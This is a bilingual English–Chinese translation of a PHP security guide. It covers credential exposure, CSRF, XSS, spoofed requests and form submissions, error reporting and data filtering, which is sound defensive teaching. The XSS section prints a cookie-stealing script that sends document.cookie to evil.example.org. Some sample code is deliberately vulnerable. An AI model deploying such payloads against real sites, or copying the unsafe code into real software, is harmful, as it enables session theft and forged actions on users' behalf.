有一些数据，虽然是合法的，但是可能会在无意中和 SQL 语句的格式产生冲突。那么就使用 mysql_escape_string() 函数，或者你的数据库原生的转义函数进行数据转义。如果没有特定的转义函数，addslashes() 是最后手段。

PHP Security / Databases and SQL / Exposed Access Credentials

nulltao@gmail.com (Wei Geng) — Mon, 18 Jun 2007 02:58:20 +0800

Exposed Access Credentials

连接信息泄漏

Most PHP applications interact with a database. This usually involves connecting to a database server and using access credentials to authenticate:

绝大多数的 PHP 程序都要和数据库交互。这个交互过程通常都是首先连接到数据数据库，然后通过连接信息认证。

<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>

This could be an example of a file called db.inc that is included whenever a connection to the database is needed. This approach is convenient, and it keeps the access credentials in a single file.

这可以作为一个用来演示 db.inc 文件的例子，你可以在任何需要数据库连接的时候引用这个文件。这样就可以把连接信息保存在单一文件里，这倒是挺方便的。

Potential problems arise when this file is somewhere within document root. This is a common approach, because it makes include and require statements much simpler, but it can lead to situations that expose your access credentials.

如果你把这个文件放在文档根目录里面的话，潜在的问题就会显现出来。这样放是很常见的，因为能够让 include 和 require 语句写起来很简单，但是这会引起连接信息的泄露。

Remember that everything within document root has a URL associated with it. For example, if document root is /usr/local/apache/htdocs, then a file located at /usr/local/apache/htdocs/inc/db.inc has a URL such as http://example.org/inc/db.inc.

请记住，在文档根目录里面的所有文件都有一个对应的 URL。例如，如果文档根目录是 /usr/local/apache/htdocs，那么一个位于 /usr/local/apache/htdocs/inc/db.inc 的文件，就对应着一个类似 http://example.org/inc/db.inc 这样的 URL。

Combine this with the fact that most Web servers will serve .inc files as plain text, and the risk of exposing your access credentials should be clear. A bigger problem is that any source code in these modules can be exposed, but access credentials are particularly sensitive.

大多数 Web 服务器都把 .inc 文件作为普通文本处理，把这个事实和上面的规则一起考虑，由于泄露连接信息所引发的风险就很明了了。还有一个更大的问题，就是任何在这些模块里面的源代码都有泄露的可能，当然了，连接信息是最为敏感的。

Of course, one simple solution is to place all modules outside of document root, and this is a good practice. Both include and require can accept a filesystem path, so there's no need to make modules accessible via URL. It is an unnecessary risk.

当然了，一个简单但是很好的解决方法就是把这些模块都放到文档根目录外面。 include 和 require 语句都能够接受文件系统路径作为参数，因此，没有必要让人通过 URL 访问这些模块。这是一个不必要的风险。

If you have no choice in the placement of your modules, and they must be within document root, you can put something like the following in your httpd.conf file (assuming Apache):

如果你无法选择放置这些模块的地方，而且必须放置到文档根目录里，那么你可以在你的 httpd.conf 文件（假设你使用的是 Apache 服务器）里增加如下语句：

<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>

It is not a good idea to have your modules processed by the PHP engine. This includes renaming your modules with a .php extension as well as using AddType to have .inc files treated as PHP files. Executing code out of context can be very dangerous, because it's unexpected and can lead to unknown results. However, if your modules consist of only variable assignments (as an example), this particular risk is mitigated.

允许 PHP 引擎直接处理这些模块可不是什么好主意。这包括如下两个方面，一、把你的模块都命名为使用 .php 扩展名的文件名，二、通过 AddType 指令让 Apache 把 .inc 等同于 PHP 文件处理。在上下文外的环境执行这些代码很可能会很危险，因为这不是所预期的，而且可能会引起未知的后果。不过，如果这个模块只由一些变量赋值语句组成（就像上面的例子一样），这个风险还是很小的。

My favorite method for protecting your database access credentials is described in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. Create a file, /path/to/secret-stuff, that only root can read (not nobody) :

我最喜欢使用 David Sklar and Adam Trachtenberg 写的 《PHP指导手册》（由 O'Reilly 出版）一书中的方法来保护数据的连接信息。创建一个文件 /path/to/secret-stuff，这个文件只有 root（而不是 nobody）能够访问到。

SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"

Include this file within httpd.conf as follows:

像下面这样把这个文件包含在 httpd.conf 里：

Include "/path/to/secret-stuff"

Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in your code. Not only do you never have to write your username and password in any of your scripts, the Web server can't read the secret-stuff file, so no other users can write scripts to read your access credentials (regardless of language). Just be careful not to expose these variables with something like phpinfo() or print_r($_SERVER).

现在，你可以在程序里面直接使用 $_SERVER['DB_USER'] 和 $_SERVER['DB_PASS']。不仅你不用在任何程序里直接写用户名和密码，而且 Web 服务器也读不到 secret-stuff 文件，这样，没有人能够写程序访问到你的连接信息了（不管是什么语言）。只需要小心不要让类似 phpinfo() 或 print_r($_SERVER) 这样的代码暴露这些变量信息。

PHP Security / Form Processing / Cross-Site Request Forgeries

nulltao@gmail.com (Wei Geng) — Fri, 08 Jun 2007 02:55:01 +0800

Cross-Site Request Forgeries

跨站点请求伪造

Despite the similarities in name, cross-site request forgeries (CSRF) are an almost opposite style of attack. Whereas XSS attacks exploit the trust a user has in a Web site, CSRF attacks exploit the trust a Web site has in a user. CSRF attacks are more dangerous, less popular (which means fewer resources for developers), and more difficult to defend against than XSS attacks.

虽然和跨站点脚本攻击名字很相似，但是跨站点请求伪造是完全不同的攻击方法。 XSS 攻击利用的是用户对网站的信任，CSRF 攻击利用的是网站对用户的信任。 CSRF 攻击更加危险，更加不常见（也意味着对开发着可用的资源更少），和 XSS 攻击比起来也更加难以防范。

CSRF attacks have the following characteristics:

CSRF 攻击有着如下的特征：

Exploit the trust that a site has for a particular user.

Many users may not be trusted, but it is common for Web applications to offer users certain privileges upon logging in to the application. Users with these heightened privileges are potential victims (unknowing accomplices, in fact).
利用了站点对特定用户的信任。

对于 Web 程序来说，很常见的一个现象就是大部分用户都不是可信的，只有通过登陆的用户才有更高级权限。这些有着更高权限的用户都是潜在的受害者（事实上，他们都不知道自己是同谋）。
Generally involve Web sites that rely on the identity of the users.

It is typical for the identity of a user to carry a lot of weight. With a secure session management mechanism, which is a challenge in itself, CSRF attacks can still be successful. In fact, it is in these types of environments where CSRF attacks are most potent.
通常都包含那些依赖用户身份的站点。

让用户身份承担重要的作用是很典型的。即使在有安全的 session 管理机制的情况下， CSRF 攻击还是很容易成功的，况且这个机制本身还有疑问呢。事实上，正是在这种环境下 CSRF 攻击才最有说服力。
Perform HTTP requests of the attacker's choosing.

CSRF attacks include all attacks that involve the attacker forging an HTTP request from another user (in essence, tricking a user into sending an HTTP request on the attacker's behalf). There are a few different techniques that can be used to accomplish this, and I will show some examples of one specific technique.
执行攻击者所选择的 HTTP 请求。

所有类型的，由攻击者把 HTTP 请求伪装成另外一个用户的，攻击都是 CSRF 攻击（其实质是，欺骗用户按照攻击者的意愿发送 HTTP 请求）。要执行这个攻击有几种技术可用，我会用一些例子来说明其中一个特别的技术。

Because CSRF attacks involve the forging of HTTP requests, it is important to first gain a basic level of familiarity with HTTP.

因为 CSRF 攻击包含了 HTTP 请求伪造，所以当务之急是初步熟悉 HTTP。

A Web browser is an HTTP client, and a Web server is an HTTP server. Clients initiate a transaction by sending a request, and the server completes the transaction by sending a response. A typical HTTP request is as follows:

Web 浏览器就是一个 HTTP 客户端，Web 服务器也就是一个 HTTP 服务器。客户端通过发送请求来发起一个事务，在服务器发送响应结果后事务结束。下面是一个典型的 HTTP 请求：

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

The first line is called the request line, and it contains the request method, request URL (a relative URL is used), and HTTP version. The other lines are HTTP headers, and each header name is followed by a colon, a space, and the value.

第一行被称作请求行，这一行包含了请求的方式、请求的 URL（这里使用的是一个相对 URL）和 HTTP 版本号。其他的行都是 HTTP 头信息，每一个 HTTP 头的名字后面紧跟着一个冒号、一个空格和对应的值。

You might be familiar with accessing this information in PHP. For example, the following code can be used to rebuild this particular HTTP request:

你应该已经熟知如何用 PHP 来访问这些信息了。例如，下面的代码可以被用来重建上面这个特定的 HTTP 请求：

[geshi lang=php in=y][/geshi]

An example response to the previous request is as follows:

如下是一个响应上面的请求的应答的例子：

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57
<html>
<img src="http://example.org/image.png" />
</html>

The content of a response is what you see when you view source in a browser. The img tag in this particular response alerts the browser to the fact that another resource (an image) is necessary to properly render the page. The browser requests this resource as it would any other, and the following is an example of such a request:

你在浏览器里面察看源代码的时候所看到的就是响应的内容。在这个特定的响应里的 img 标签，告诉浏览器要正确的生成这个页面，还需要请求另外一个资源（这个图片）。浏览器和请求其他资源一样请求这个资源，下面就是这个请求的例子：

GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

This is worthy of attention. The browser requests the URL specified in the src attribute of the img tag just as if the user had manually navigated there. The browser has no way to specifically indicate that it expects an image.

这一段值得注意一下。浏览器请求在 img 标签的 src 属性里指定的 URL，就如同用户手工定向到那里。浏览器无法明确指出请求的是一个图片。

Combine this with what you've learned about forms, and then consider a URL similar to the following:

把这些和你以前学到的关于表单的知识结合起来，然后看一个和下面累死的 URL：

http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

A form submission that uses the GET method can potentially be indistinguishable from an image request – both could be requests for the same URL. If register_globals is enabled, the method of the form isn't even important (unless the developer still uses $_POST and the like). Hopefully the dangers are already becoming clear.

很可能无法把一个使用 GET 方式提交的表单和一个图片请求区分开来——因为这两者都可以以同样的 URL 发送请求。如果启用了 register_globals 选项，标单提交的方法也都不重要了（除非开发者还在使用 $_POST 或者类似的变量）。看起来危险已经变清晰了。

Another characteristic that makes CSRF so powerful is that any cookies pertaining to a URL are included in the request for that URL. A user who has an established relationship with stocks.example.org (such as being logged in) can potentially buy 1000 shares of SCOX by visiting a page with an img tag that specifies the URL in the previous example.

很多附属于一个 URL 的 cookie 都被对那个 URL 的请求所包含，这是另外一个让 CSRF 如此危险的特征。一个和 stocks.example.org 建立了连接的用户（例如登陆后），可以通过访问一个页面来买 1000 股 SCOX 股票，这个页面需要有一个 img 标签，而这个标签指定要访问上面例子中的的 URL。

Consider the following form located (hypothetically) at http://stocks.example.org/form.html:

看下面这个（假设）位于 http://stocks.example.org/form.html 的表单：

<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol:
<input type="text" name="symbol" /></p>
<p>Quantity:
<input type="text" name="quantity" /></p>
<input type="submit" />
</form>

If the user enters SCOX for the symbol, 1000 as the quantity, and submits the form, the request that is sent by the browser is similar to the following:

如果用户在 symbol 框里面输入 SCOX，在 quantity 框输入 1000，然后提交这个表单，浏览器会发出和下面相似的请求：

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

I include a Cookie header in this example to illustrate the application using a cookie for the session identifier. If an img tag references the same URL, the same cookie will be sent in the request for that URL, and the server processing the request will be unable to distinguish this from an actual order.

我在这个例子的头信息里面包含了一个 Cookie，以说明程序用 cookie 作为会话标示符。如果一个 img 标签引用了同样的 URL，那么在对那个 URL 的请求中会发送出去同样的 cookie，因此，处理这个请求的服务器就无法把这个表单和真正的订单区分开了。

There are a few things you can do to protect your applications against CSRF:

有一些你能够用来保护你的程序不受 CSRF 攻击的方法：

Use POST rather than GET in forms.

Specify POST in the method attribute of your forms. Of course, this isn't appropriate for all of your forms, but it is appropriate when a form is performing an action, such as buying stocks. In fact, the HTTP specification requires that GET be considered safe.
使用 POST 而不是 GET 方法提交表单。

在表单的 method 属性里面指定使用 POST 方法。当然这不一定对所有的表单都适用，但是当表单要完成一个类似买股票的动作的时候就很适用，事实上，HTTP 协议规范要求 GET 可以被认识是安全的。
Use $_POST rather than rely on register_globals.

Using the POST method for form submissions is useless if you rely on register_globals and reference form variables like $symbol and $quantity. It is also useless if you use $_REQUEST.
使用 $_POST 变量而不要依赖 register_globals 选项。

如果你依赖于 register_globals 选项，并且使用类似 $symbol 和 $quantity 这样的形式引用表单变量，那么用 POST 方法提交表单的方法来避免攻击是徒劳的。如果你使用了 $_REQUEST 变量，那么同样还是徒劳的。
Do not focus on convenience.

While it seems desirable to make a user's experience as convenient as possible, too much convenience can have serious consequences. While "one-click" approaches can be made very secure, a simple implementation is likely to be vulnerable to CSRF.
不要把注意力都集中在便利性上。

虽然说让用户体验尽可能的方便看起来好像很不错，但是过分的便利性会导致严重的后果。尽管“一次点击”能做的很安全，但是简单的实现很可能受到 CSRF 攻击。
Force the use of your own forms.

The biggest problem with CSRF is having requests that look like form submissions but aren't. If a user has not requested the page with the form, should you assume a request that looks like a submission of that form to be legitimate and intended?
注意表单的使用。

CSRF 最大的文件就是让请求看起来像是一个表单提交，虽然实际上不是。如果用户没有通过表单请求相应的页面，那么对于一个好像是从表单提交过来的请求，你还假设它是合法的、预期的吗？

Now we can write an even more secure message board:

现在我们可以写出来一个更安全的公告板了：

<?php
$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);
?>
<form method="post">
<input type="hidden" name="token" value="<?php echo
$token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
$tokens = file('./tokens.txt');
if (in_array($_POST['token'], $tokens))
{
if (isset($_POST['message']))
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
readfile('./messages.txt');
?>

This message board still has a few security vulnerabilities. Can you spot them?

这个公告板还有几个安全漏洞。你能找出来吗？

Time is extremely predictable. Using the MD5 digest of a timestamp is a poor excuse for a random number. Better functions include uniqid() and rand().

时间是可以准确预言的。所以使用时间戳的 MD5 散列来做随机数是很糟糕的办法。 uniqid() 和 rand() 是更好的生成随机数的函数。

More importantly, it is trivial for an attacker to obtain a valid token. By simply visiting this page, a valid token is generated and included in the source. With a valid token, the attack is as simple as before the token requirement was added.

更重要的，攻击者来可以很容易的获得到一个合法的令牌。访问这个页面的时候，生成的那个合法的另外就包含在页面源代码里面。如果有合法和的令牌，进行攻击就和增加令牌需求以前一样简单了。

Here is an improved message board:

这是一个改进版的公告板：

<?php
session_start();
if (isset($_POST['message']))
{
if ($_POST['token'] == $_SESSION['token'])
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="post">
<input type="hidden" name="token" value="<?php echo
$token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php readfile('./messages.txt'); ?>

Is this one completely secure?

这个版本是不是绝对安全了呢？

PHP Security / Form Processing / Cross-Site Scripting

nulltao@gmail.com (Wei Geng) — Wed, 06 Jun 2007 01:51:01 +0800

Cross-Site Scripting

跨站点脚本

The media has helped make cross-site scripting (XSS) a familiar term, and the attention is deserved. It is one of the most common security vulnerabilities in Web applications, and many popular open source PHP applications suffer from constant XSS vulnerabilities.

媒体使得跨站点脚本（XSS）成为一个常见词汇，对跨站点脚本多加小心是值得的。这是在 Web 应用程序里最常见的安全隐患之一，而且很多流行的开源 PHP 程序里也有一定量的 XSS 隐患。

XSS attacks have the following characteristics:

跨站点脚本攻击有着如下的特征：

Exploit the trust a user has for a particular site.

Users don't necessarily have a high level of trust for any Web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the Web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting.
利用用户对特定站点的信任。

用户不太可能对所有的 Web 站点都能够充分信任，但是浏览器可不是这样的。举例来说，当浏览器在发送请求中包含了 cookie 的时候，就意味着浏览器是信任这个站点的。不同用户可能有不同的浏览习惯，甚至在浏览器中给不同的网站设置不同的安全级。
Generally involve Web sites that display foreign data.

Applications at a heightened risk include forums, Web mail clients, and anything that displays syndicated content (such as RSS feeds).
通常都包含哪些显示外来数据的站点。

论坛、Web 邮件客户端这样的程序都是处于高风险状态的程序，任何要显示整合内容（例如 RSS 种子）的程序也是。
Inject content of the attacker's choosing.

When foreign data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server.
注入攻击者所选的内容。

如果外来数据没有很好的过滤，很可能你会显示攻击者所选的内容。这就和允许供给者直接编辑你服务器上的代码一样危险。

How can this happen? If you display content that comes from any foreign source without properly filtering it, you are vulnerable to XSS. Foreign data isn't limited to data that comes from the client. It also means email displayed in a Web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from a foreign source, and this generally means that most data is foreign data.

这是怎么发生的？如果你显示了来自外部的内容，而这些内容没有经过合适的过滤，你就很容易受到 XSS 的攻击。外部数据不仅仅局限于来自客户端的数据。还包括在 Web 邮件客户端里显示的电子邮件、旗帜广告、聚合 blog 等等。任何不在你原始的代码里的数据都是外来数据，也就是说，绝大多数数据都是外来数据。

Consider the following example of a simplistic message board:

看看下面这个简单的公告板的例子：

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>

This message board appends <br /> to whatever the user enters, appends this to a file, then displays the current contents of the file.

这个公告板无论用户输入什么，都在后面添一个 <br />，追加到一个文件里，然后把这个文件的当前内容显示出来。

Imagine if a user enters the following message:

假设用户输入了如下的信息：

<script>
document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
</script>

The next user who visits this message board with JavaScript enabled is redirected to evil.example.org, and any cookies associated with the current site are included in the query string of the URL.

下一个访问这个公告板的用户，如果启用了 JavaScript 支持，会被重定向到 evil.example.org 去，而且和当前站点关联的所有 cookie 也会被添加到 URL 中去。

Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better (more malicious?) examples.

当然了，一个真正的攻击者不会被我那可怜的创造力以及 JavaScript 经验缺乏而限制住的。你可以随意建议一个更好的（或者说更加邪恶的？）例子。

What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by foreign sources (such as other users) and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best practices can mitigate the risk of XSS:

那么你能做什么呢？XSS 实际上是非常容易防范的。让事情变困难的是，你希望允许外界（例如其他用户）上传一些 HTML 代码，或者客户端脚本，并且最后显示出来，但是即使这种情况也不是非常难以处理的。下面这些最佳经验可以帮助你减轻 XSS 风险：

Filter all foreign data.

As mentioned earlier, data filtering is the most important practice you can adopt. By validating all foreign data as it enters and exits your application, you will mitigate a majority of XSS concerns.
过滤所有外来数据。

前面提到过，数据过滤是你能采取的最重要的措施。通过过滤应用程序所有的输入输出数据，你就能够减轻绝大部分 XSS 风险。
Use existing functions.

Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and utf8_decode() can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.
使用已有函数。

让 PHP 来帮助你的数据过滤吧。类似 htmlentities()、 strip_tags() 和 utf8_decode() 这样的函数会非常有用。尽量避免重写 PHP 已经实现的函数。这不仅仅是因为 PHP 函数更快，还因为 PHP 已有函数经过了更多的测试，出现会引起风险的错误的机会也更小。
Use a whitelist approach.

Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.
使用白名单。

假设数据在被证明合法之前都是不合法的。这包括验证数据的长度，以及数据是不是只含有合法的字符。例如，如果用户提供的是姓，你开始的时候可能会只允许字母和空格。在这种情况下会有错误的。O'Reilly 和 Berners-Lee 都会被认为是不合法的，只要在白名单里面添加两个字符就可以很容易修复这个错误。比起接受恶意数据，拒绝合法数据总是好一些。
Use a strict naming convention.

As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.
使用严格的命名约定。

正如前面说到的，命名约定能够帮助开发者很容易的区别经过过滤的数据和未经过滤得数据。对开发者来说，让事情尽可能的简洁、明了是很重要的。不清楚就会产生混乱，也就会引起安全隐患。

A much safer version of the simple message board mentioned earlier is as follows:

下面的例子是上面提到的公告板的加强安全版：

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>

With the simple addition of htmlentities(), the message board is now much safer. It should not be considered completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it is highly recommended that you follow all of the best practices that have been discussed.

通过简单的添加 htmlentities() 函数，这个公告板比以前安全多了。虽然还不能认为是完全的可靠，但是这是你要获得足够的保护级别所使用的最简单的方法了。当然了，强烈你继续实践刚才讨论的这些最好的经验。

PHP Security / Form Processing / Spoofed HTTP Requests

nulltao@gmail.com (Wei Geng) — Tue, 05 Jun 2007 00:35:08 +0800

Spoofed HTTP Requests

HTTP 请求欺骗

A more powerful, although less convenient approach is to spoof an HTTP request. In the example form just discussed, where the user chooses a color, the resulting HTTP request looks like the following (assuming a choice of red):

HTTP 请求欺骗非常的强大，而且还很方便。在上面讨论到的那个让用户选择颜色示例中，结果生成的 HTTP 请求看起来是这个样子的（假设用户选择了红色）：

POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
color=red

The telnet utility can be used to perform some ad hoc testing. The following example makes a simple GET request for http://www.php.net/:

telnet 工具能够用来执行这个用途的测试。下面的例子执行了一个对 http://www.php.net/ 的简单的 GET 请求：

$telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net
HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a
PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,
28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1
2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
Transitional//EN">
...

Of course, you can write your own client instead of manually entering requests with telnet. The following example shows how to perform the same request using PHP:

当然了,你也可以写一个你自己的客户端来替代在 telnet 里手动的输入那些请求指令。下面的例子给你展示了如何用 PHP 完成相同的请求：

<?php
$http_response = '';
$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");
while (!feof($fp))
{
$http_response .= fgets($fp, 128);
}
fclose($fp);
echo nl2br(htmlentities($http_response));
?>

Sending your own HTTP requests gives you complete flexibility, and this demonstrates why server-side data filtering is so essential. Without it, you have no assurances about any data that originates from any foreign source.

发送你自己的 HTTP 请求可以给你最大的适应性。这也证明了为什么服务器端的数据过滤这么的重要。如果不进行服务器端数据过滤，所有的从外部过来的数据都是不保险的。

PHP Security / Form Processing / Spoofed Form Submissions

nulltao@gmail.com (Wei Geng) — Sun, 03 Jun 2007 03:27:48 +0800

Spoofed Form Submissions

表单提交欺骗

In order to appreciate the necessity of data filtering, consider the following form located (hypothetically speaking) at http://example.org/form.html:

为了说明数据过滤得必要性，请看下面的这个位于（假设）http://example.org/form.html 的表单：

<form action="/process.php" method="post">
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />

Imagine a potential attacker who saves this HTML and modifies it as follows:

设想有一个潜在的黑客，他保存了这段 HTML 代码并且修改成这个样子：

<form action="http://example.org/process.php" method="post">
<input type="text" name="color" />
<input type="submit" />
</form>

This new form can now be located anywhere (a Web server is not even necessary, since it only needs to be readable by a Web browser), and the form can be manipulated as desired. The absolute URL used in the action attribute causes the POST request to be sent to the same place.

你可以把这个全新的表单放到任何地方（甚至都不需要 Web 服务器，只需要能够能够让浏览器读取到就行了），现在这个表单可以随意伪造了。在 action 属性里使用绝对 URL 可以让 POST 请求发送到相同的地方去。

This makes it very easy to eliminate any client-side restrictions, whether HTML form restrictions or client-side scripts intended to perform some rudimentary data filtering. In this particular example, $_POST['color'] is not necessarily red, green, or blue. With a very simple procedure, any user can create a convenient form that can be used to submit any data to the URL that processes the form.

我们原本预期不管是 HTML 表格本身限制还是客户端脚本能够做一些起码的数据过滤，但是这样做可以非常容易的躲避客户端的限制。在这个特定的例子里， $_POST['color'] 就不限制于 red、green 或 blue这三个取值了。通过这样一个小手段，任何人都能创建一个简单的表单，而这个表单可以向处理原来的表单的 URL 提交任何数据。

PHP Security / Overview / Error Reporting

nulltao@gmail.com (Wei Geng) — Thu, 24 May 2007 00:41:26 +0800

Error Reporting

错误报告

In versions of PHP prior to PHP 5, released 13 Jul 2004, error reporting is pretty simplistic. Aside from careful programming, it relies mostly upon a few specific PHP configuration directives:

在 2004 年 7 月 13号发布的 PHP 5 和之间的版本里，错误报告功能都简单的过分。如果不考虑仔细编程的话，这个功能只能依靠几个特定的 PHP 配置选项。

error_reporting

This directive sets the level of error reporting desired. It is strongly suggested that you set this to E_ALL for both development and production.
error_reporting

这个选项用来设置你希望报告错误的级别。强烈推荐你不管是开发还是发布，都设置为E_ALL。
display_errors

This directive determines whether errors should be displayed on the screen (included in the output). You should develop with this set to On, so that you can be alerted to errors during development, and you should set this to Off for production, so that errors are hidden from the users (and potential attackers).
display_errors

这个选项决定了是否要把错误信息显示到屏幕上（包含在页面输出中）。你应该在开发的时候设置成 On，以便于可以随时注意到错误，在发布的时候应该设置成 Off，这样就能够对用户（和潜在的黑客）隐藏错误信息了。
log_errors

This directive determines whether errors should be written to a log. While this may raise performance concerns, it is desirable that errors are rare. If logging errors presents a strain on the disk due to the heavy I/O, you probably have larger concerns than the performance of your application. You should set this directive to On in production.
log_errors

这个选项指定了是否要把错误信息写到日志中去。因为这个选项会增加系统负荷，所以只有在错误数量很少的时候这个选项才是可取的。由于记录错误引起的频繁 I/O 造成硬盘紧张，你可能需要更多地关注程序效率。在发布的时候应该把这个选项设置为 On。
error_log
This directive indicates the location of the log file to which errors are written. Make sure that the Web server has write privileges for the specified file.
error_log

这个选项配置了错误记录文件的位置。请确保 Web 服务器对这个文件有写权限。

Having error_reporting set to E_ALL will help to enforce the initialization of variables, because a reference to an undefined variable will generate a notice.

因为未定义的变量会引起一个 notice，所以把 error_reporting 设置为 E_ALL，能够强制开发者初始化变量。

NOTE:

Each of these directives can be set with ini_set(), in case you do not have access to php.ini or another method of setting these directives.

A good reference on all error handling and reporting functions is in the PHP manual:

http://www.php.net/manual/en/ref.errorfunc.php

PHP 5 includes exception handling. For more information, see:

http://www.php.net/zend-engine-2.php

注：

上面说的这些选项都可以通过 ini_set()函数设置，以防万一你没有访问 php.ini 的权限或者没有其他的方法设置这些选项。

在 PHP 手册里有很好的关于错误处理和报告相关函数的参考：

http://www.php.net/manual/en/ref.errorfunc.php

PHP 5 包含了异常处理。如果需要更多的信息，请参见：

http://www.php.net/zend-engine-2.php

PHP Security / Overview / Data Filtering

nulltao@gmail.com (Wei Geng) — Thu, 17 May 2007 15:20:15 +0800

Data Filtering

数据过滤

As stated previously, data filtering is the cornerstone of Web application security, and this is independent of programming language or platform. It involves the mechanism by which you determine the validity of data that is entering and exiting the application, and a good software design can help developers to:

正如前面所说，数据过滤是 Web 程序安全的奠基石，这个规则和编程语言以及平台无关。数据过滤包括了你如何检测程序输入输出的数据的合法性的机制，一个好的软件设计能够在如下方面帮助开发者：

Ensure that data filtering cannot be bypassed,
确保没有办法越过数据过滤操作，
Ensure that invalid data cannot be mistaken for valid data, and
确认不合法的数据不能被误认为是合法的数据，还有
Identify the origin of data.
识别出数据的来源。

Opinions about how to ensure that data filtering cannot be bypassed vary, but there are two general approaches that seem to be the most common, and both of these provide a sufficient level of assurance.

如果确保不能越过数据过滤有很多种方法，不过最常用的也就两种方法，这两种方法都能够提供足够的保险。

The Dispatch Method

调度法

One method is to have a single PHP script available directly from the Web (via URL). Everything else is a module included with include or require as needed. This method usually requires that a GET variable be passed along with every URL, identifying the task. This GET variable can be considered the replacement for the script name that would be used in a more simplistic design. For example:

第一种方法是只允许 Web （通过 URL 调用）直接访问到一个单一 PHP 脚本。所有其他的东西都是在需要的时候通过 include 或者 require 加载进来的模块。这个方法通常需要在每个 URL 里都传递一个特定的 GET 变量，来识别要完成的任务。这个 GET 变量可以理解成对简单设计里使用的脚本名称的取代。例如：

http://example.org/dispatch.php?task=print_form

The file dispatch.php is the only file within document root. This allows a developer to do two important things:

dispatch.php 文件是根目录里唯一的文件。这让开发者能够做下面两件重要的事情：

Implement some global security measures at the top of dispatch.php and be assured that these measures cannot be bypassed.
在 dispatch.php 的开始实现全局的安全措施，并且确保这些措施不能被越过。
Easily see that data filtering takes place when necessary, by focusing on the control flow of a specific task.
你把注意力集中在一个具体的任务的控制流程时，在需要的时候可以很容易的看到数据过滤是如何起作用的。

To further explain this, consider the following example dispatch.php script:

请看下面的例子，以进一步解释 dispatch.php 脚本：

<?php
/* Global security measures */
switch ($_GET['task'])
{
case 'print_form':
include '/inc/presentation/form.inc';
break;
case 'process_form':
$form_valid = false;
include '/inc/logic/process.inc';
if ($form_valid)
{
include '/inc/presentation/end.inc';
}
else
{
include '/inc/presentation/form.inc';
}
break;
default:
include '/inc/presentation/index.inc';
break;
}
?>

